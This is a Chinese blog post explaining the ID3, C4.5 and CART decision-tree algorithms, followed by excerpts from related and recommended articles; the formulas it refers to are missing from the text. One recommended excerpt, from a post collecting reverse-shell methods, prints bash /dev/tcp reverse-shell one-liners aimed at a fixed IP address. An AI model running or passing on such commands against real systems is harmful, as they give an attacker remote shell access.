ID3决策树

ID3决策树分类的根据是样本集分类前后的信息增益。

假设我们有一个样本集,里面每个样本都有自己的分类结果。

而信息熵可以理解为:“样本集中分类结果的平均不确定性”,俗称信息的纯度。

即熵值越大,不确定性也越大。

不确定性计算公式

假设样本集中有多种分类结果,里面某一种结果的“不确定性”计算公式如下

其中

x:为按照某特征分类后的第x种分类结果

p(x):表示该分类结果样本集在总样本集中的所占比例。

Dx:表示样本结果为x的样本数量。

D:表示样本的总数量

可看出某一种分类结果在总样本集中所占比例越少,其“不确定性”也越大。

信息熵计算公式

样本集的熵,就是他所有分类结果的平均不确定性,即所有分类结果不确定性求期望。公式如下:

说白了,就是算出整个样本集中每一个分类结果的不确定性,然后求一个期望值,就作为这整个样本集的熵值。

信息熵增益

熵越大表示事件变数越多,我们要做的就是每一次分类都让事件集变的最稳定。所以当我们选择某一个特征进行分类后,样本集分类前后的熵的减小量就是熵的增益。

ID3算法的核心就是计算按照每一种特征分类后,其熵差大小,选择能使熵差最大的特征作为分类特征。

分类前的熵就是集群整个的熵。

分类后的熵其实是所有分类后的小样本集的熵的期望。

ID3算法缺陷

1、抗噪声性差,如果数据样本数量太少或噪声太大,就会产生过拟合的问题。

样本少,其树的构成基本上就是为少数样本量身定做的树,如果噪声太大,或样本少且有噪声的话,很多树枝都是噪声拟合出来的。

2、在选择最优特征时,很容易倾向于选择“特征值种类较多”的特征,作为分类特征。

我们举个极端点的例子,假设有100个样本集,现在有一个特征其数值种类也是100,如果按该特征分类,就能把这个样本集分成100份,每份一个样本。在用ID3算法做决策树时,肯定会选择这个特征作为第一个最优特征,因为这个特征分出来的样本集每一个纯度都是最高。

3、无法处理特征值为连续型数据的特征。(不过可以考虑把连续型数据转化成离散型数据)

即,可以处理像性别特征、boolen特征等离散型特征,但没法处理特征值在某个区间内可以任意取值的特征,如身高特征、年龄特征。

C4.5决策树

针对上面说的ID3算法的第二个缺点“最优特征选择倾向于特征种类较多的特征”。

我们先来看下特征种类较多时,分类会发生什么。

假设都是均分100个样本,

特征值有2种的特征会把样本集分成50和50.

特征值为4种的特征会把样本集分成25、25,25,25.

可见特征值越多,就会产生越多的“小数目”样本集,而小数目样本集在分类效果上是不如大样本集好的(如过拟合、抗噪差等问题),所以对于某特征分类后会产生“小数目”样本集的分类后的熵,我们需要有一个惩罚值,即:分类后产生的样本集越小,它的熵值也要惩罚性的增大。

这样虽然ID3算法中会因为很多分类后的小数量样本集而产生低值的期望熵,但做惩罚值处理后,熵值就会平衡性的增大。

信息增益率

在C4.5中惩罚小数量样本集的做法是,

在根据某特征分类,并计算出分类前后的熵差后,再计算该特征的惩罚值,用该分类特征的熵差除以惩罚值得出“信息增益率”,使信息增益率越大的特征,就是最优特征。即:

其中惩罚值实际上就是“信息熵”,只不过这里的信息指的不是计算信息增益时“样本集中分类结果的平均不确定性”,而是“总样本集中分类后子样本集数目的平均不确定性”,即:

其中:

D:分类前的总样本数量。

i:按某特征分类后样本子集序号。

Di:按某特征分类后的第i个子集的数量。

由此看出,样本数量越少,惩罚值越大,相除后的信息增益率也就越小,依此做到了一定的平衡,由于“惩罚”了小样本数量集,其由于数量少带来信息增益抗噪性差的问题也得到一定程度的解决。

这就是C4.5算法最大的好处,解决了ID3算法第二个缺陷,缓解了ID3算法的第一个缺陷。

不过ID3算法的第三个不能处理连续型特征数据的问题。C4.5算法本身也不能直接处理连续数据。

另外C4.5和ID3算法还有一个特点,这俩算法的根本其实都要计算信息增益,而信息增益的一个大前提就是要先进行分类,然后才能计算增益,所以每计算一次增益也就代表进行了一次分类,分类用了的特征接下来就不能再用了,所以ID3和C4.5算法在分类时会不断消耗特征。

CART决策树

简单来讲就是,有一个类似于熵的指标叫Gini指数,其代表了分类结果的不确定性,所以自然是越小越好。

每次分类前计算分类前后的Gini指数,求差得出“Gini指数增益”,能使Gini指数增益最大的特征就是最优特征。

需要注意的是,CART算法分类时,即使特征有大于两个特征值,也还是会把样本集分成两类,最后形成的是标准二叉树。

Gini指数

首先计算分类前样本集的Gini指数,Gini指数想表达的东西和信息熵类似,都是想表达样本集分类结果的不确定性,Gini指数或熵越大,表示样本集分类结果不确定性也越大。

假设样本集数量为D,分类结果有n种,Dk表示总样本集中分类结果为第k种的样本数量。

那么从总样本集中选出分类结果为k的样本的概率为:

选出分类结果为k的样本的不确定性(即选出分类不为k的样本概率)为:

而总样本集的分类结果不确定性,就是计算n种分类结果的不确定性,然后取期望:

这个公式就是样本集的Gini指数,用于表达样本集分类结果的不确定性,Gini指数越大样本集越不确定,化简后得:

按照某特征分类后的Gini指数为,分类后各样本集Gini指数求期望,

假设分类前总样本集数量为D,按特征分类后得到两堆样本集数量分别为S1和S2(由于CART算法生成二叉树的特性,所以只能分成两堆),则样本集分类后的Gini指数为:

如果特征值大于两个,则列出所有可能的分类情况,依次分类并计算各分类后的Gini指数,选择分类后Gini指数最小的分类情况作为特征的分类方法。

如,特征有a,b,c三个特征值,

则可能的分类方法有:(a,(b,c)),(b,(a,c)),(c,(a,b))

假设(b,(a,c))这种分类方式分类后的Gini指数最小,则按照特征值为b的分为第一个树枝,特征值为a或c的分为第二个树枝,

第一个树枝里该特征只有b特征值,则后续分类时不需要再考虑该特征。

第二个树枝里该特征中还有a和c两种特征值,需要注意的是“后续分类时还是要考虑该特征,且特征值为a和c”。

Gini指数增益

最终,样本集D,按照某特征分类出S1样本集和S2样本集后,其Gini指数增益为:

选取能使Gini指数增益最大的特征分类作为最优特征分类。

CART和C4.5算法区别

1.C4.5本质上还是基于信息熵得出的信息增益比,而CART算法的分类树是基于Gini指数得出的Gini指数增益。

2.CART是一颗二叉树,而C4.5算法没有这个特点。这是因为在进行特征分类上,C4.5算法每次选择一种特征进行分类后,每一个特征值都是一个树枝。而CART算法每次分类会把特征的所有特征值分成两堆,符合A堆里面的特征值的样本算A分支,符合B堆特征值的样本算B特征。

3.基于第二点不同,我们可看出C4.5算法每选择一个特征按各个特征值分类后,接下来的分类就不会再考虑该特征了(因为该特征已按特征值彻底划分完了)。而CART算法是把特征值分成两堆,假设有abcd四个特征,经过Gini增益计算后,ab为1堆,cd为2堆,那么按照此分类后1堆和2堆该特征都没有被完全划分,1堆样本还能对a和b特征值再进行划分。

所以CART算法的特征在分类过程中可能重复出现,而C4.5只能出现一次。

连续型特征离散化

连续型数据离散化的方法很多,最易懂的就是凭经验离散化,

比如一批样本集里有身高特征(cm),样本的数值有:162,164,165,166,168,170,173,180

这个时候我们就可以凭借经验或者想要统计的结果,对这组连续数据划分一个离散范围,如设定小于165的是一类,165到170的是一类,大于170的是一类,这样就把连续数据离散化成一个范围判断了。

但凭借经验进行范围划分明显不靠谱,

我们可以利用ID3、C4.5、CART这些算法,将连续数据离散化。

简单来讲思路就是:

依次设立划分点,然后数值小于该划分点的数据分为一类,大于的分为另一类。

分别计算根据各个划分点分类前后的信息增益(ID3)或信息增益率(C4.5)或Gini指数增益(CART),选出使得增益达到最大的划分点作为分类特征值。

至于划分点的选择,一般是将所有连续数值从小到大排序,每两点间取平均数建立一次划分点进行分类,并计算信息增益或信息增益率。

决策树(ID3、C4.5、CART)的更多相关文章

  1. 决策树(ID3,C4.5,CART)原理以及实现

    决策树 决策树是一种基本的分类和回归方法.决策树顾名思义,模型可以表示为树型结构,可以认为是if-then的集合,也可以认为是定义在特征空间与类空间上的条件概率分布. [图片上传失败...(image ...

  2. 决策树 ID3 C4.5 CART(未完)

    1.决策树 :监督学习 决策树是一种依托决策而建立起来的一种树. 在机器学习中,决策树是一种预测模型,代表的是一种对象属性与对象值之间的一种映射关系,每一个节点代表某个对象,树中的每一个分叉路径代表某 ...

  3. 21.决策树(ID3/C4.5/CART)

    总览 算法   功能  树结构  特征选择  连续值处理 缺失值处理  剪枝  ID3  分类  多叉树  信息增益   不支持 不支持  不支持 C4.5  分类  多叉树  信息增益比   支持 ...

  4. ID3\C4.5\CART

    目录 树模型原理 ID3 C4.5 CART 分类树 回归树 树创建 ID3.C4.5 多叉树 CART分类树(二叉) CART回归树 ID3 C4.5 CART 特征选择 信息增益 信息增益比 基尼 ...

  5. 决策树模型 ID3/C4.5/CART算法比较

    决策树模型在监督学习中非常常见,可用于分类(二分类.多分类)和回归.虽然将多棵弱决策树的Bagging.Random Forest.Boosting等tree ensembel 模型更为常见,但是“完 ...

  6. 机器学习算法总结(二)——决策树(ID3, C4.5, CART)

    决策树是既可以作为分类算法,又可以作为回归算法,而且在经常被用作为集成算法中的基学习器.决策树是一种很古老的算法,也是很好理解的一种算法,构建决策树的过程本质上是一个递归的过程,采用if-then的规 ...

  7. 机器学习相关知识整理系列之一:决策树算法原理及剪枝(ID3,C4.5,CART)

    决策树是一种基本的分类与回归方法.分类决策树是一种描述对实例进行分类的树形结构,决策树由结点和有向边组成.结点由两种类型,内部结点表示一个特征或属性,叶结点表示一个类. 1. 基础知识 熵 在信息学和 ...

  8. 机器学习之决策树二-C4.5原理与代码实现

    决策树之系列二—C4.5原理与代码实现 本文系作者原创,转载请注明出处:https://www.cnblogs.com/further-further-further/p/9435712.html I ...

  9. 机器学习总结(八)决策树ID3,C4.5算法,CART算法

    本文主要总结决策树中的ID3,C4.5和CART算法,各种算法的特点,并对比了各种算法的不同点. 决策树:是一种基本的分类和回归方法.在分类问题中,是基于特征对实例进行分类.既可以认为是if-then ...

随机推荐

  1. 常用sql语句总结(一)(查询)

    常用sql语句总结(一)(查询) 数据操作语句:DML 数据定义语句:DDL 数据控制语句:DCL (执行顺序------序号) 一.基本查询: 1. SELECT * ----- 2 FROM 数据 ...

  2. 清北学堂北京大学冯哲神仙讲课day2

    今天讲基础数据结构 首先讲(二叉搜索树) 保证左儿子小于右儿子,那么对于根节点来说.大于根节点的放到右子树递归,小于根节点的放在左子树 相等的呢?某大佬(老师)这么说: 删除的前提是找这个点在哪: 如 ...

  3. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  4. 20175312 2018-2019-2 《Java程序设计》第6周课下选做——类定义

    20175312 2018-2019-2 <Java程序设计>第6周课下选做--类定义 设计思路 1.我觉得Book其实就是一个中转的作用,由测试类Bookself通过Book输入数据,然 ...

  5. 【HNOI 2016】大数

    Problem Description 小 B 有一个很大的数 \(S\),长度达到了 \(N\) 位:这个数可以看成是一个串,它可能有前导 \(0\),例如 00009312345 .小 B 还有一 ...

  6. P2678 跳石头

    传送门 思路: 二分跳跃的最短距离 mid .暴力判断如果有两个石头直接的距离小于 mid ,就把这个石头拿走.如果拿走的石头数目 cnt ≤ m,说明二分的答案可行,ans = mid,接着二分更短 ...

  7. python多版本共存

    根据环境变量的顺序调用python,pip等程序 将python.exe修改为python2.exe(或python3.exe)后可以通过不同的名字调用不同版本的python 注意修改Anaconda ...

  8. js实现word转换为html

    前言 最近接到一个需求,实现上传一个word文档,然后将该word转换成html丢给服务端存上.进行技术调研后发现有三种方法可以实现这个功能:ActiveXObject.docx2html.mammo ...

  9. Data Block -- Uncompressed

    Overview of Data Blocks Oracle Database manages the logical storage space in the data files of a dat ...

  10. Redis缓存之自定义CacheManager

    测试缓存:原理:CacheManager===Cache 缓存组件来实际给缓存中存储数据1,引入redis的starter,容器中保存的是RedisCacheManager2,RedisCacheMa ...